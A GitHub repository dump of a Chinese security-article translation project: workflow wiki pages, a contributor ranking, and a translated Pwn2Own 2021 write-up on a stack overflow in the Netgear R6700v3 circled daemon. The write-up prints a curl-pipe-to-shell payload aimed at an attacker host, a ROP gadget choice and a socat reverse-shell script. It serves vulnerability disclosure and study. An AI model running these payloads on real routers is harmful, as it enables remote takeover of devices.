├── .gitignore ├── wiki ├── images │ └── .gitkeep ├── term.md ├── translation_local.md ├── translation_web.md ├── README.md ├── copywriting.md ├── faq.md ├── review.md ├── zero2one.md ├── topic_tmpl.md └── translation.md ├── scripts └── README.md ├── published └── README.md ├── sources ├── README.md ├── news │ └── README.md ├── paper │ └── README.md ├── talk │ └── README.md └── tech │ ├── README.md │ ├── 20220627 Binbloom blooms introducing v2.md │ ├── 20220901 Ruffling the penguin! How to fuzz the Linux kernel.md │ └── 20220611 PULLING MIKROTIK INTO THE LIMELIGHT.md ├── translated ├── README.md ├── news │ └── README.md ├── talk │ └── README.md ├── tech │ ├── README.md │ ├── 20220627 pwn2own-austin-2021-defeating-the-netgear-r6700v3.md │ └── 20220613 BleedingTooth Linux Bluetooth Zero-Click Remote Code Execution.md └── paper │ └── README.md ├── qq.jpg ├── ranking.md ├── SUMMARY.md ├── README.md └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store -------------------------------------------------------------------------------- /wiki/images/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /wiki/term.md: -------------------------------------------------------------------------------- 1 | # 术语清单 2 | -------------------------------------------------------------------------------- /scripts/README.md: -------------------------------------------------------------------------------- 1 | # 流程工具 2 | -------------------------------------------------------------------------------- /published/README.md: -------------------------------------------------------------------------------- 1 | # 已发表的文章 2 | -------------------------------------------------------------------------------- /sources/README.md: -------------------------------------------------------------------------------- 1 | # 待翻译的文章 2 | -------------------------------------------------------------------------------- /translated/README.md: -------------------------------------------------------------------------------- 1 | # 已翻译的文章(待发表) 2 | -------------------------------------------------------------------------------- /sources/news/README.md: -------------------------------------------------------------------------------- 1 | # 新闻类文章,要求时效性 2 | -------------------------------------------------------------------------------- /sources/paper/README.md: -------------------------------------------------------------------------------- 1 | # 论文类文章,要求思考性 2 | -------------------------------------------------------------------------------- /sources/talk/README.md: -------------------------------------------------------------------------------- 1 | # 评论类文章,要求可读性 2 | -------------------------------------------------------------------------------- /sources/tech/README.md: -------------------------------------------------------------------------------- 1 | # 技术类文章,要求准确性 2 | -------------------------------------------------------------------------------- /translated/news/README.md: -------------------------------------------------------------------------------- 1 | # 新闻类文章,要求时效性 2 | -------------------------------------------------------------------------------- /translated/talk/README.md: -------------------------------------------------------------------------------- 1 | # 评论类文章,要求可读性 2 | -------------------------------------------------------------------------------- /translated/tech/README.md: -------------------------------------------------------------------------------- 1 | # 技术类文章,要求准确性 2 | -------------------------------------------------------------------------------- /wiki/translation_local.md: -------------------------------------------------------------------------------- 1 | # 在本地进行翻译 2 | -------------------------------------------------------------------------------- /wiki/translation_web.md: -------------------------------------------------------------------------------- 1 | # 通过 Web 界面进行翻译 2 | -------------------------------------------------------------------------------- /translated/paper/README.md: -------------------------------------------------------------------------------- 1 | # 论文类文章,要求思考性 2 | -------------------------------------------------------------------------------- /qq.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vu1nT0tal/TranslateProject/HEAD/qq.jpg -------------------------------------------------------------------------------- /wiki/README.md: -------------------------------------------------------------------------------- 1 | # 帮助手册 2 | 3 | 线上地址:https://firmianay.gitbook.io/translateproject/ 4 | -------------------------------------------------------------------------------- /wiki/copywriting.md: -------------------------------------------------------------------------------- 1 | # 中文排版指北 2 | 3 | https://github.com/sparanoid/chinese-copywriting-guidelines 4 | -------------------------------------------------------------------------------- /wiki/faq.md: -------------------------------------------------------------------------------- 1 | # FAQ 2 | 3 | - Q:提交 pull request,提示 merge 有冲突? 4 | - A:你 fork 下来的 repo 和主线不匹配,你的提交的内容在主线上已经被修改了,推荐的处理办法是备份好你的译文,然后删除自己的 repo,然后重新 fork、提交 PR。 5 | -------------------------------------------------------------------------------- /ranking.md: -------------------------------------------------------------------------------- 1 | # 成员积分榜 2 | 3 | | 排名 | 译者 | 篇数 | 字数 | 积分 | 4 | | --- | --- | --- | --- | --- | 5 | | 1 | b1lack | 2 | 10k | 150 | 6 | | 2 | cease2e | 4 | 4k | 80 | 7 | | 3 | Always-Y | 1 | 1k | 20 | 8 | | 4 | spwpun | 1 | 1k | 20 | 9 | 10 | ## 积分兑换规则 11 | 12 | | 积分 | 兑换 | 价值 | 13 | | --- | --- | --- | 14 | | 100 | 挂件一个 | ¥20 | 15 | | 200 | 摆件一个 | ¥40 | 16 | | 600 | 知识星球一年 | ¥150 | 17 | | 1000 | 翻译书门槛 | 知名度+稿费 | 18 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | # 帮助手册 2 | 3 | GitHub 地址: 4 | 5 | * [简介](README.md) 6 | 7 | ## 翻译入门 8 | 9 | * [从翻译到发布](wiki/zero2one.md) 10 | * [翻译步骤](wiki/translation.md) 11 | * [web](wiki/translation_web.md) 12 | * [桌面](wiki/translation_local.md) 13 | * [校对步骤](wiki/review.md) 14 | * [术语清单](wiki/term.md) 15 | 16 | ## 商城 17 | 18 | * 商城介绍 19 | * 如何获取 VTcoin 20 | * 如何兑换礼品 21 | 22 | ## 参考 23 | 24 | * [常见问题列表](wiki/faq.md) 25 | * [中文排版指北](wiki/copywriting.md) 26 | * [选题模板](wiki/topic_tmpl.md) 27 | -------------------------------------------------------------------------------- /wiki/review.md: -------------------------------------------------------------------------------- 1 | # 校对步骤 2 | 3 | 译文进入 `translated` 目录之后,校对人员会根据情况选择某篇进行校对。由于校对环节的任务较重,以及当前的校对和发布环节是紧密关联的,所以哪篇文章会被先校对是不确定的。但是,如果你希望能尽快校对你的译作,可以请求校对加速。 4 | 5 | 对于可快速完成的短篇文章,直接在该文章基础上进行校对,完成提交 PR 即可;对于需要较长时间完成校对,或者需要多轮校对的文章,可以该文标注校对信息(即写入校对者 ID),并提交 PR。 6 | 7 | ## 校对内容 8 | 9 | 校对所需做的工作如下: 10 | 11 | - 针对细节: 12 | - 逐句检查是否忠实原文,可以在不损失原文含义的情况下进行意译,但是不能导致读者有误解和难以理解的语素增加。 13 | - 检查所有内置的代码是否格式正确,如果原文有误,可以修改。 14 | - 检查 Markdown 语法是否使用正确。 15 | - 检查译注和 RUBY 标签是否合理,如必要可以增加、修改和删除译注和 RUBY 标签。 16 | - 检查元信息是否完备正确。 17 | - 针对全文: 18 | - 检查全篇是否格式规范,我们要求译文符合[中文排版指北](copywriting.md)。 19 | - 检查全篇是否通顺、行文是否一致。 20 | - 检查段落组织是否合理,必要时可以调整段落设置。 21 | - 检查是否采用翻译工具直译。 22 | - 根据原文 URL,对比译文内容是否有缺失。 23 | 24 | 在校对结束后,如果有不确定的地方,可以和译者进行沟通(QQ、GitHub 提及)。 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 开源翻译项目 2 | 3 | VulnTotal 翻译组负责从国外优秀媒体翻译 安全/计算机 相关的技术、资讯、论文等内容。 4 | 5 | 欢迎更多的志愿者加入我们。 6 | 7 | ## 加入我们 8 | 9 | 首先加入翻译组的 QQ 群(143923332),备注“志愿者”。进群后请: 10 | 1. 修改群名片为“译者-您的_GitHub_ID”; 11 | 2. 阅读 [wiki](https://firmianay.gitbook.io/translateproject) 了解如何开始; 12 | 3. 请在加入一个月内翻译一篇[《IDA Pro每周小技巧》](#开源图书); 13 | 4. 有不解之处请在群里提问; 14 | 5. 小组正处于起步阶段,希望大家多多参与! 15 | 16 | 17 | 18 |
19 | 20 | ## 出版图书 21 | 22 | 根据文章难度和长度获得积分(50~100),可用于兑换纪念品,加入知识星球等。对于优秀成员,我们还将邀请你一起翻译或编写出版图书。 23 | 24 | - 2020 -《CTF竞赛权威指南(Pwn篇)》- 杨超 25 | - 2022 -《Ghidra权威指南》- 杨超 26 | - ... 27 | 28 | ## 开源图书 29 | 30 | 开源图书同样也可以获得积分,新加入的志愿者建议先从《IDA Pro每周小技巧》开始。 31 | 32 | - 2022 -[《IDA Pro每周小技巧》](https://github.com/VulnTotal-Team/IDA-Pro-tips) 33 | - ... 34 | 35 | ## 组织架构 36 | 37 | 管理: 38 | 39 | - 选题 @firmianay 40 | - 选题 @Licae 41 | 42 | 核心成员: 43 | 44 | 荣誉榜: 45 | 46 | 点击查看所有[成员积分榜](./ranking.md),谢谢大家的支持! 47 | 48 | ## 关注我们 49 | 50 | [VulnTotal安全](https://github.com/VulnTotal-Team)致力于分享高质量原创文章和开源工具,包括物联网/汽车安全、移动安全、网络攻防等。 51 | 52 | Apache-2.0 license 53 | 54 | [![Stargazers over time](https://starchart.cc/VulnTotal-Team/TranslateProject.svg)](https://starchart.cc/VulnTotal-Team/TranslateProject) 55 | -------------------------------------------------------------------------------- /wiki/zero2one.md: -------------------------------------------------------------------------------- 1 | # 从翻译到发布 2 | 3 | 作为一名新加入翻译组大家庭的成员,了解一下我们的整体流程有助于你更快的参与到翻译贡献当中。 4 | 5 | ## 角色 6 | 7 | 整个翻译组的成员(角色)主要有如下四种: 8 | 9 | - 选题:负责从外文媒体遴选合适的文章,采用我们的模板规范,将其转制成 Markdown 格式 10 | - 译者:从选题制作好的待译文章中选择符合自己能力和兴趣的文章,加入申请标记,表示开始翻译此篇;翻译之后,自行审阅,然后提交符合质量要求的译文 11 | - 校对:对译者提交的译文的内容、格式进行检查,如果有重大问题,会予以驳回,轻微问题会修正,不确定的问题会与译者商榷 12 | - 发布:将已经完成校对的文章发布到公众号 13 | 14 | 作为开源志愿者,你所担任的角色大部分情况下是译者,在有足够经验之后,可以根据能力参与其它角色的工作。 15 | 16 | ## 流程 17 | 18 | 下面简述一下各个流程: 19 | 20 | ### 选题 21 | 22 | 选题通常由固定的人员担任,使用选题工具对选定的原文进行采集、转换和整理,最终形成符合规范的待翻译原文。 23 | 24 | 原文会通过 PR 的方式发送到 TranslateProject 项目仓库上。通过 CI 检查和人工审核后,正式进入仓库。 25 | 26 | ### 翻译 27 | 28 | 新加入的译者,需要完成一些[基础准备工作](translation.md),才能投入到翻译贡献当中。 29 | 30 | 根据你的喜好和技术基础,你可以选择在[本地计算机](translation_local.md)进行翻译,也可以选择全程都在 [GitHub 网站](translation_web.md)上进行。具体的细节流程在此不赘述。 31 | 32 | 翻译需要首先对喜好的文章进行申请,然后将该申请发起 PR。通常来说,只要该 PR 在提交后显示并无冲突、也满足了 CI 检查,就可以自行翻译了,而不需要等等 PR 得到批准。 33 | 34 | 翻译完毕后,将该译文从 `sources` 目录移动到 `translated` 对应的子目录下,然后对该成果发起 PR。等待批准进入仓库即可。 35 | 36 | 新的申请和提交的 PR 要单独发起,不能和原有未合并的 PR 融合到一起(可采用每篇文章一个分支的方式解决)。 37 | 38 | ### 校对 39 | 40 | 译文进入 `translated` 目录之后,校对人员会根据情况选择某篇进行校对。由于校对环节的任务较重,以及当前的校对和发布环节是紧密关联的,所以哪篇文章会被先校对是不确定的。但是,如果你希望能尽快校对你的译作,可以请求校对加速。 41 | 42 | ### 发布 43 | 44 | 文章校对后会排期进行发布。 45 | 46 | 文章发布后,会通过 VTcoin 激励平台,对译者、校对等进行激励,详情请看商城。 47 | -------------------------------------------------------------------------------- /wiki/topic_tmpl.md: -------------------------------------------------------------------------------- 1 | 选题标题格式: 2 | 3 | ``` 4 | 原文日期 标题.md 5 | ``` 6 | 7 | 其中: 8 | 9 | - 原文日期为该文章发表时的日期,采用 8 位数字表示 10 | - 标题需去除特殊字符,标点只保留 `-`、`_` 等符号。注意文件名文字的编码格式。 11 | 12 | 正文内容: 13 | 14 | ``` 15 | [#]: collector: (选题人 GitHub_ID) 16 | [#]: translator: ( ) 17 | [#]: reviewer: ( ) 18 | [#]: publisher: ( ) 19 | [#]: subject: (文章标题) 20 | [#]: via: (原文_URL) 21 | [#]: author: (作者名 作者链接的_URL) 22 | [#]: url: ( ) 23 | 24 | 标题 25 | ======= 26 | 27 | ### 子一级标题 28 | 29 | 正文 30 | 31 | #### 子二级标题 32 | 33 | 正文内容 34 | 35 | ![图片说明][1] 36 | 37 | *图片说明也可以放这里* 38 | 39 | ### 子一级标题 40 | 41 | 正文内容 : I have a [dream][2]。 42 | 43 | -------------------------------------------------------------------------------- 44 | 45 | via: 原文 链接 URL 46 | 47 | 作者:[作者名][a] 48 | 选题:[选题 ID][b] 49 | 译者:[译者 ID](https://github.com/译者 ID) 50 | 校对:[校对 ID](https://github.com/校对 ID) 51 | 52 | [a]: 作者链接 URL 53 | [b]: 选题链接 URL 54 | [1]: 图片链接地址 55 | [2]: 文内链接地址 56 | ``` 57 | 58 | 说明: 59 | 60 | 1. 标题层级很多时从 `##` 开始 61 | 2. 图片链接和引文链接地址在下方集中写 62 | 3. 因为 Windows 系统文件名有限制,所以文章名不要有特殊符号,如 `\/:*"<>|`,同时也不推荐全大写,或者其它不利阅读的格式 63 | 4. 正文格式参照[中文排版指北](copywriting.md) 64 | 5. 我们使用的 markdown 语法和 GitHub 一致。而实际中使用的都是基本语法,比如链接、包含图片、标题、列表、字体控制和代码高亮。 65 | 6. 选题的内容分为两类:干货和湿货。干货就是技术文章,比如针对某种技术、工具的介绍、讲解和讨论。湿货则是和技术、开发、计算机文化有关的文章。选题时主要就是根据这两条来选择文章,文章需要对大家有益处,篇幅不宜太短,可以是系列文章,也可以是长篇大论,但是文章要有内容,不能有严重的错误,最好不要选择已经有翻译的原文。 66 | -------------------------------------------------------------------------------- /wiki/translation.md: -------------------------------------------------------------------------------- 1 | # 翻译步骤 2 | 3 | 新加入的译者,需要完成一些基础准备工作,才能投入到翻译贡献当中。 4 | 5 | 根据你的喜好和技术基础,你可以选择在[本地计算机](translation_local.md)进行翻译,也可以选择全程都在 [GitHub 网站](translation_web.md)上进行。具体的细节流程请参阅上述链接。 6 | 7 | ## 翻译流程 8 | 9 | ### 准备工作 10 | 11 | 你首先需要准备本地仓库,具体方式依据你采用[本地计算机](translation_local.md)还是 [GitHub 网站](translation_web.md)进行翻译而不同,请分别参阅上述链接。 12 | 13 | 如果你已经准备好了本地仓库,请确保该仓库是最新更新过的。 14 | 15 | ### 翻译申请 16 | 17 | 翻译需要首先对喜好的文章进行申请。我们目前并存着两种待译文章模板: 18 | 19 | - 没有头部元信息的旧模板:请在文章的头部加入 `你的_GitHub_ID translating`。 20 | - 有头部元信息的新模板:请修改头部元信息 `[#]: translator: ( )` 中的 `( )`,在其中写入你的 GitHub ID。 21 | 22 | 然后提交该修改,并发起 PR 申请。通常来说,只要该 PR 在推送时显示并无冲突、也稍后通过了 CI 检查,就可以自行翻译了,而不需要等待 PR 得到批准。每翻译一篇文章,都需要单独就此文章发起一个 PR。 23 | 24 | > 最佳体验:请为每篇翻译的文章创建一个单独的分支,在此分支进行申请、翻译和提交译文,并等待最终译文进入了 TranslateProject 主仓库后,就可以安全地删除该分支。 25 | 26 | ### 翻译文章 27 | 28 | 对原文进行翻译,需要保持原文中的所有格式和 Markdown 标签。 29 | 30 | 如果一次完成不了全篇翻译,可以翻译完部分后提交一次,但没有全部完成之前,不可以通过 PR 推送到主库。 31 | 32 | ### 提交译文 33 | 34 | 翻译完毕后,无须保留原来的英文和无关信息,但要注意保留文末的 Markdown 链接、版权信息等内容。并修改文末的译者 ID 为你的 GitHub ID。 35 | 36 | 将该译文从 `sources` 目录移动到 `translated` 对应的子目录下,然后对该译文发起 PR。等待批准进入主库即可。一次 PR 只允许提交一篇译文。 37 | 38 | 如果你的 PR 在推送时显示并无冲突,也稍后通过了 CI 检查,一般情况下会被审阅后合并。如果有需要修改的部分,请及时注意 GitHub 通知(包括邮件)。 39 | 40 | > 最佳体验:在发起 PR 前,将所有的提交 rebase 为一个提交。 41 | 42 | ### 提交之后 43 | 44 | 译文提交后,会经过校对,发表在公众号。校对和发布周期不定,请随时关注 GitHub 通知。 45 | 46 | ## 翻译的规则 47 | 48 | 译者在翻译文章时,要遵循如下规则: 49 | 50 | - 要忠实原文,可以在不损失原文含义的情况下进行意译,但是不能导致读者有误解和难以理解的语素增加。 51 | - 译文的排版要求符合[中文排版指北](copywriting.md)。 52 | - 所有内置的代码要格式正确(通常选题会确保正确),如果原文有误,可以修改。 53 | - 正确使用 Markdown 标签,通常沿袭选题原文中的标签即可。 54 | - 在必要时,如原文有误、原文需要进一步解释时,可以增加译注。 55 | - 遇到专有名词时可以使用 RUBY 标签,即:`这是中文This is English`。RUBY 标签是我们正常情况下唯一允许使用的 HTML 标签。 56 | - 正确输入元信息,即在(新模板)文章头部的 `[#]: translator: ( )` 的 `()` 中输入你的译者 ID;也需要在文末的 `译者ID` 处同样输入。 57 | 58 | ## 译后检查 59 | 60 | 完成翻译后,需要译者至少自行检查一遍: 61 | 62 | - 检查全篇是否格式排版规范。 63 | - 检查全篇是否通顺、行文是否一致。 64 | - 检查段落组织是否合理,必要时可以调整段落设置。 65 | 66 | ## 禁止事项 67 | 68 | - 我们允许使用类似谷歌翻译这样的工具来辅助翻译,但是**绝不允许**直接提交翻译工具的结果,略加修改就提交上来。 69 | - 我们鼓励各种英语水平和技术水平的人参与翻译贡献,因此,选择符合自己能力和兴趣的文章翻译即可,但是**绝不允许**委托他人代为翻译,也**绝不允许**照抄网络上别人已有译文。 -------------------------------------------------------------------------------- /translated/tech/20220627 pwn2own-austin-2021-defeating-the-netgear-r6700v3.md: -------------------------------------------------------------------------------- 1 | [#]: subject: "PWN2OWN AUSTIN 2021 : DEFEATING THE NETGEAR R6700V3" 2 | [#]: via: "https://www.synacktiv.com/en/publications/pwn2own-austin-2021-defeating-the-netgear-r6700v3.html" 3 | [#]: author: "Kevin Denis, Antide Petit" 4 | [#]: collector: "Licae" 5 | [#]: translator: "b1lack" 6 | [#]: reviewer: "firmianay" 7 | [#]: publisher: "firmianay" 8 | [#]: url: " " 9 | 10 | PWN2OWN AUSTIN 2021 : 攻破 NETGEAR R6700V3 11 | ======= 12 | 13 | - [PWN2OWN AUSTIN 2021 : 攻破 NETGEAR R6700V3](#pwn2own-austin-2021--攻破-netgear-r6700v3) 14 | - [介绍](#介绍) 15 | - [漏洞研究](#漏洞研究) 16 | - [负责更新的功能](#负责更新的功能) 17 | - [获取文件](#获取文件) 18 | - [POC](#poc) 19 | - [EXPLOITATION](#exploitation) 20 | - [策略](#策略) 21 | - [重定向到执行](#重定向到执行) 22 | - [使用已知的字符串通过系统执行](#使用已知的字符串通过系统执行) 23 | - [找到“magic” gadget](#找到magic-gadget) 24 | - [强行使用堆内存](#强行使用堆内存) 25 | - [优化载荷](#优化载荷) 26 | - [利用脚本和使用](#利用脚本和使用) 27 | - [补丁](#补丁) 28 | - [结论](#结论) 29 | 30 | ZDI 每年组织两次以破解硬件和软件为目标的竞赛。2021年11月,在奥斯汀,黑客试图破解硬件设备,如打印机、路由器、电话、家庭自动化设备、NAS 等。这篇博文描述了我们如何成功地从 WAN 接口接管了一个 Netgear 路由器。 31 | 32 | ### 介绍 33 | 34 | 本文描述了在 NETGEAR 夜鹰智能 Wi-Fi 路由器(R6700 AC1750)的 WAN 接口上发现的一个无需认证的远程代码执行漏洞。该漏洞位于 `/bin/circled` 内的二进制文件中,运行在 Netgear 路由器上。该漏洞可以被路由器 WAN 端的攻击者远程利用,而无需身份验证。circled 守护进程从 web 服务器获取一个 `circleinfo.txt` 文件,解析该文件时可能会触发缓冲区溢出。通过在 web 服务器中放置恶意文件并重定向路由器来下载它(通过 DNS 重定向或 TCP 重定向),攻击者可以执行任意代码。由于 circled 在 root 权限下运行,攻击者获得了路由器上的全部权限。该漏洞已收录到 [CVE-2022-27646][1] 和 [CVE-2022-27644][2] 中。 35 | 36 | ### 漏洞研究 37 | 38 | Circled 是一个第三方守护程序,可以让父进程控制 Netgear 路由器。在 GRIMM 的一篇[博文][3]中可以找到对该服务和以前的一个漏洞的良好分析。本节描述了 `/bin/circled` 二进制文件中的一个新漏洞。需要注意的是,守护进程是在默认路由器配置中启动的,即使它没有被配置。 39 | 40 | 守护进程 `/bin/circled`,在 Netgear 固件版本 `R6700v3-V1.0.4.120_10.0.91` 中,它的 SHA1 哈希是 `ac86472cdeccd01165718b1b759073b9e6b665e9`。 41 | 42 | #### 负责更新的功能 43 | 44 | 我们选择分析该服务的更新机制。主程序在启动后不久分叉,一个进程负责下载和检查数据库版本和引擎版本。这个检查在启动时启动,之后每两个小时启动一次。在崩溃的情况下,进程将重新启动。 45 | 46 | 位于 `0xCE38` 的函数(我们将其命名为 `updating_database`)解析 `/tmp/circleinfo.txt` 文件,以检查是否有任何更新要应用。解析读取文本文件的每一行,然后在两个堆栈变量中写入数据,而不检查它们的大小,从而导致典型的堆栈缓冲区溢出。 47 | 48 | ```c 49 | int __fastcall updating_database(int a1, const char *update_server) 50 | { 51 | // (...) 52 | char line[1020]; // [sp+894h] [bp-4FCh] BYREF 53 | char db_checksum_val[256]; // [sp+D94h] [bp+4h] BYREF 54 | char db_checksum[256]; // [sp+E94h] [bp+104h] BYREF 55 | // (...) 56 | v7 = fopen("/tmp/circleinfo.txt", "r"); 57 | if ( v7 ) 58 | { 59 | line[0] = 0; 60 | while ( fgets(line, 1024, v7) ) 61 | { 62 | if ( sscanf(line, "%s %s", db_checksum, db_checksum_val) == 2 63 | && !strcmp(db_checksum, "db_checksum") ) { 64 | // (...) 65 | break; 66 | } 67 | // (...) 68 | ``` 69 | 70 | 正如我们在这段代码片段中看到的,`line` 变量最多可以处理 1024 个字符,尽管 `db_checksum_val` 和 `db_checksum` 在 `sscanf` 中只有 256 个字符。这两个变量都位于堆栈的末尾,这允许我们触发堆栈溢出。 71 | 72 | #### 获取文件 73 | 74 | 位于 `0xE2D8` 的函数(我们命名为 `retrieve_circleinfo_txt`)的从远程服务器获取 `circleinfo.txt` 文件,并将其复制到 `/tmp` 文件夹中。函数 `url_retrieve`(位于 `0xC904`)用于下载文件。下载是通过 https 服务器完成的,但该功能不检查证书: 75 | 76 | ```c 77 | snprintf(curl_cmdline, v8 - 1, "%s %s %s/%s", "curl -s -m 180 -k -o", output, server, path); 78 | printf("%s: Executing '%s'\n", "url_retrieve", curl_cmdline); 79 | system(curl_cmdline); 80 | free(curl_cmdline); 81 | ``` 82 | 83 | curl 提供的 -k 选项可以显式地绕过证书检查。换句话说,这意味着任何人都可以模拟更新服务器。 84 | 85 | 可以下载合法文件进行检查: 86 | 87 | ```shell 88 | $ curl https://http.fw.updates1.netgear.com/sw-apps/parental-control/circle/r6700v3/https/circleinfo.txt 89 | firmware_ver 2.3.0.1 90 | database_ver 3.2.1 91 | platforms_ver 2.15.2 92 | db_checksum 80f34399912c29a9b619193658d43b1c 93 | firmware_size 1875128 94 | database_size 8649020 95 | $ 96 | ``` 97 | 98 | #### POC 99 | 100 | 为了验证这个漏洞,我们将 Netgear 路由器配置为使用我们自己的 DNS 服务器,这允许我们将查询重定向到我们自己的服务器。我们选择服务一个包含 1000 个'A',后跟一个空格和一个'A'的文件: 101 | 102 | ```shell 103 | $ cat circleinfo.txt 104 | A(..1000x..)A A 105 | $ 106 | ``` 107 | 108 | 在 circled 日志(`/tmp/circledinfo.log`)中,我们可以看到进程在循环中崩溃并重新启动。 109 | 110 | ```shell 111 | Sat Sep 4 01:19:10 2021 ERROR: loader exited, forking new loader now ... 112 | ``` 113 | 114 | ### EXPLOITATION 115 | 116 | 在本节中,我们将描述如何将此漏洞转化为远程命令执行的完整工作漏洞。 117 | 118 | #### 策略 119 | 120 | 在我们的设置中,我们是 Netgear 的 DHCP 服务器。我们可以是 DNS 服务器和 https 更新服务器(由于 curl -k,任何自签名证书都将被接受)。 121 | 122 | ##### 重定向到执行 123 | 124 | 在处理堆栈溢出时,可以将执行流重定向到堆栈,但在此上下文中,堆栈是不可执行的。通常,不可执行的内存区域问题可以用面向返回编程(Return Oriented Programming, ROP)通过链接所谓的“gadget”来解决,但我们发现了一个懒惰的“one gadget”解决方案,它不是特别完美,但有工作的优点。 125 | 126 | 该漏洞允许我们溢出堆栈和重写一些保存的寄存器,$R4 到 $R11 和 $PC。我们希望将流重定向到某个已知的可执行内存区域。在这个设备上,ASLR 是不完全的,我们的二进制文件没有被编译为 PIE,因此代码位于 `0x8000`。发生溢出的原因是格式字符串,这意味着我们不能写入空字节(字符串末尾的一个除外)。 127 | 128 | 我们发现了一个 gadget,它允许我们用一个控制参数调用 `system`,这就是我们所使用的。 129 | 130 | ##### 使用已知的字符串通过系统执行 131 | 132 | 我们在这里唯一控制的是用于漏洞的长字符串。它是用 `sscanf` 读取的,因此我们不能注入空字节、空格或返回回车,但它足以构建一个 shell 脚本。 133 | 134 | 代码操作的字符串在某个时候结束在堆中。当 `/proc/sys/kernel/randomize_va_space` 被设为 1 时,我们知道堆将总是位于数据段之后,并且由于二进制文件不是位置独立可执行文件(PIE),地址将总是相同的。 135 | 136 | 我们选择遵循这个思路,用 $R0 指向堆内存中的某个位置来调用 `system`。当进程在崩溃后重新启动时,我们几乎可以无限地尝试寻找合适的地址,唯一的限制是由 Pwn2Own 上下文中的 ZDI 规则设置的最大时间条件。 137 | 138 | #### 找到“magic” gadget 139 | 140 | 通过探索所有指向 `system` 函数的 gadget ,我们可以看到偏移量 `0xEC78`: 141 | 142 | ```shell 143 | $ arm-linux-gnueabi-objdump -d circled | grep -B2 system 144 | (...) 145 | -- 146 | ec78: e59d2084 ldr r2, [sp, #132] ; 0x84 147 | ec7c: e0840002 add r0, r4, r2 148 | ec80: ebffea06 bl 94a0 149 | -- 150 | $ 151 | ``` 152 | 153 | 我们用溢出来控制 $R4 的值,因此我们可以强制 ADD R0,R4,R2 的结果最终控制 $R0,从而控制 `system` 参数。 154 | 155 | $R2 的值可以找到,它是一个参数,用于在触发寄存器恢复的 `ret` 指令之前使用的格式字符串,并且总是等于 `0xFFFF7954`。 156 | 157 | 堆边界是 `0x1c000 - 0x21000`,因此我们可以通过向其添加 `0x86ac` 来针对这些地址,因为将用上面提到的gadget 减去它。我们最终得到了像 `0x000266ac` 这样的值,它需要用一个空字节写入。 158 | 159 | 该漏洞可以被触发两次,格式为:`%s %s`。这两个变量都可能溢出堆栈和重写寄存器。我们可以使用第一种格式溢出所有保存的寄存器,直到 $PC,第二种格式溢出所保存的 $R4 中的三个字节。终止的空字节将放入所需的值。 160 | 161 | 通过这两个溢出,我们可以用一个受控地址调用 `system` 函数。 162 | 163 | #### 强行使用堆内存 164 | 165 | 我们知道堆将包含 circleinfo.txt 字符串的一部分。一种策略可以是在不带任何空格或回车的情况下写入命令,然后逐个尝试堆中的每个地址,直到找到命令的第一个字符。我们知道更新过程会在崩溃后重新启动,因此我们最终将获得正确的地址。 166 | 167 | 正如我们在动态分析中发现的那样,字符串的开头通常会被后续的堆分配覆盖,因此我们将命令几乎放在字符串的末尾。`circleinfo.txt` 文件将包含这一行: 168 | 169 | ```shell 170 | $ cat /tmp/circleinfo.txt 171 | AA(...)curl${IFS}-k${IFS}https://A.B.C.D/exploit|sh; AA(...)curl${IFS}-k${IFS}https://A.B.C.D/exploit|sh; 172 | ``` 173 | 174 | 包含: 175 | - saved_PC 等于魔术 gadget \x78\xEC (LSB形式) 176 | - saved_R4 从 0x246ac 到 0x296ac 解析堆 177 | 178 | 我们使用一个网络服务器,它为每个请求提供不同的文件与不同的保存在 $R4。 179 | 180 | #### 优化载荷 181 | 182 | 强制堆地址是可行的,但由于循环的二进制中的内部计时器(每次尝试间隔 3 或 4 秒),速度很慢。为了阻止攻击,我们选择用 256 字节的步骤解析堆,并在 shell 脚本之前使用特定的负载。 183 | 184 | 这个有效负载由 260 个“a”和一个分号“;”以及后面的命令组成。如果 $R0 点在长' aaa '部分的任何地方,我们以调用结束: 185 | 186 | ```shell 187 | system("a(...)a;curl${IFS}-k${IFS}https://A.B.C.D/exploit|sh;") 188 | ``` 189 | 190 | shell 处理一个 'a(...)a' 例如一个命令,不能执行它(带有“command not found error”),然后继续使用 curl 命令,漏洞利用也是如此。 191 | 192 | 这个策略被发现是有效的,我们很快就得到了一个 shell。 193 | 194 | “exploit”其实很简单。我们下载一个 socat 二进制文件并启动一个反向 shell。虽然这个第二阶段是不必要的,但我们更愿意让第一个有效负载尽可能小(curl 管道到 shell),以最大限度地增加在堆内存中发现它的机会。我们能够在“exploit”中输入任何命令,因此我们在 Netgear 路由器上实现了一个灯光显示: 195 | 196 | ```shell 197 | #!/bin/sh 198 | #Any .com name will point to attacker machine, thanks to dnsmasq config 199 | HOST=bla.com 200 | PORT=4242 201 | # Download socat for the reverse shell 202 | curl -k https://${HOST}/s/socat -o /tmp/socat 203 | chmod +x /tmp/socat 204 | # Reverse shell 205 | # Necessary to manually grab the IP because the statically linked socat can't resolve it 206 | IP=$(ping -c1 ${HOST} | head -n1 | cut -d'(' -f2 | cut -d')' -f1) 207 | /tmp/socat exec:/bin/sh,pty,stderr,setsid,sigint,sane tcp:${IP}:${PORT} & 208 | # And now, a small lightshow :-) 209 | while true; do 210 | leddown 211 | sleep 1 212 | ledup 213 | sleep 1 214 | done 215 | ``` 216 | 217 | ### 利用脚本和使用 218 | 219 | 根据这个文档,已经开发了一些脚本来证明这种利用。 220 | 221 | 所有这些脚本都可以从我们的 [GitHub 库][4]下载,并附有如何使用它们的说明。 222 | 223 | ### 补丁 224 | 225 | 为了弥补这个漏洞,Netgear 发布了 1.0.4.126 版本的补丁。 226 | 227 | 首先,他们删除了 curl 命令行中的 `-k` 开关,这将阻止我们模拟更新服务器。然后,他们修改了解析器: 228 | 229 | ```c 230 | while ( fgets(line, 1024, v7) ) 231 | { 232 | if ( sscanf(line, "255%s %255s", db_checksum, db_checksum_val) == 2 233 | && !strcmp(db_checksum, "db_checksum") ) 234 | (...) 235 | ``` 236 | %255s 限制将防止缓冲区溢出。 237 | 238 | ### 结论 239 | 240 | 本文已经展示了如何在 Netgear R6700v3 路由器上实现 WAN端未授权 RCE 。该漏洞位于 circled 的守护进程中,它下载了一个触发缓冲区溢出的恶意更新文件。这允许在目标上调用任意 shell 命令,从而在攻击者计算机上启动一个反向 shell。 241 | 242 | 